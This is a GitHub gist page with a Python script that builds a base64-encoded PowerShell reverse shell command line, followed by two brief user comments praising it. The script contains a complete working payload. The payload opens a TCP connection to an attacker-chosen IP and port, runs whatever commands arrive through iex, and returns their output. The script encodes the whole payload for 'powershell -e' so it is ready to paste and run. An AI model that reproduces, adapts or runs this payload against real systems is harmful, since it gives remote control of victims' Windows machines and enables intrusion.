Skip to content

Instantly share code, notes, and snippets.

@tothi
Created February 17, 2019 00:05
Show Gist options
  • Select an option

  • Save tothi/ab288fb523a4b32b51a53e542d40fe58 to your computer and use it in GitHub Desktop.

Select an option

Save tothi/ab288fb523a4b32b51a53e542d40fe58 to your computer and use it in GitHub Desktop.
reverse PowerShell cmdline payload generator (base64 encoded)
#!/usr/bin/env python3
#
# generate reverse powershell cmdline with base64 encoded args
#
import sys
import base64
def help():
print("USAGE: %s IP PORT" % sys.argv[0])
print("Returns reverse shell PowerShell base64 encoded cmdline payload connecting to IP:PORT")
exit()
try:
(ip, port) = (sys.argv[1], int(sys.argv[2]))
except:
help()
# payload from Nikhil Mittal @samratashok
# https://gist.github.com/egre55/c058744a4240af6515eb32b2d33fbed3
payload = '$client = New-Object System.Net.Sockets.TCPClient("%s",%d);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
payload = payload % (ip, port)
cmdline = "powershell -e " + base64.b64encode(payload.encode('utf16')[2:]).decode()
print(cmdline)
@Painbow
Copy link
Copy Markdown

Painbow commented May 28, 2023

Thank you very much, revshells.com seems to encode the entire command including "powershell", this is very convenient and helpful

@705mmes
Copy link
Copy Markdown

705mmes commented Dec 2, 2025

holy thats effective

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment